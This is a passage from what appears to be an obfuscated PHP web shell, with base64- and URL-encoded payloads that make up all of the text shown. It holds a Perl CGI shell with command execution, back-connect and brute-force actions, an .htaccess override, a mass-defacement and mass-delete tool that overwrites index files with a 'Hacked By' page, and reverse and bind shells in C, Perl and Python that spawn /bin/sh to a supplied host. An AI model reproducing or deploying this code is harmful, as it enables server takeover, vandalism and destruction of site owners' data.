JCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI%2BIjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4%2BIFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI%2BIjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4%2BIERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw%3D%3D%22%3B%20%24cgi%20%3D%20fopen%28%24file%5fcgi%2C%20%22w%22%29%3B%20fwrite%28%24cgi%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24cgi%5fscript%29%29%3B%20fwrite%28%24htcgi%2C%20%24isi%5fhtcgi%29%3B%20chmod%28%24file%5fcgi%2C%200755%29%3B%20chmod%28%24memeg%2C%200755%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3EDone%20...%20%3Ca%20href%3D%27.tmp%5fcgi%2Fcgi.hex%27%20target%3D%27%5fblank%27%3EClick%20Here%3C%2Fa%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSql%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20Tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22df.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI%2BICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI%2BPC9jZW50ZXI%2BIjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc%2BIFstXSBGYWlsZWQgOiggPC9zdHJvbmc%2BPC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U%2BREVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI%2BIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI%2BPFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc%2BPHN0cm9uZz4kZGlyci88L3NwYW4%2BJGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI%2BIjsKICAgIGVjaG8gIjxjZW50ZXI%2BPGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM%2BPC9jZW50ZXI%2BPGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5ID0%2BICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc%2BJGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM%2BJGtleSBGaWxlcyBEZWZhY2VkIDwvaDM%2BPC9jZW50ZXI%2BPGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U%2BWyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1RbJ01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI%2BPHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI%2BPGJyPjxiPlZlcnNpIFRleHQ8L2I%2BPGJyPjxicj48YnI%2BCiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI%2BaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ%2BPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI%2BTWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24%2BPG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI%2BUmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24%2BPG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI%2BTWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI%2BPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ%2BPGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc%2BPGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ%2BPGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc%2BICA8YnI%2BPGJyPjxicj48YnI%2BPGJyPjxjZW50ZXI%2BPGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI%2BCgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0%2BPC9jZW50ZXI%2BPC9kaXY%2BIjsgfSAgPz4gCg%3D%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%3Ciframe%20src%3D%27.tmp%2Fdf.php%27%20width%3D%27800%27%20height%3D%27450%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionNetwork%28%29%20%7B%20hardHeader%28%29%3B%20%24back%5fconnect%5fc%20%3D%20%22I2luY2x1ZGUgPHN0ZGlvLmg%2BDQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9%22%3B%20%24back%5fconnect%5fp%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7%22%3B%20%24bind%5fport%5fc%20%3D%20%22I2luY2x1ZGUgPHN0ZGlvLmg%2BDQojaW5jbHVkZSA8c3RyaW5nLmg%2BDQojaW5jbHVkZSA8dW5pc3RkLmg%2BDQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9%22%3B%20%24pyy%20%3D%20%22IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3V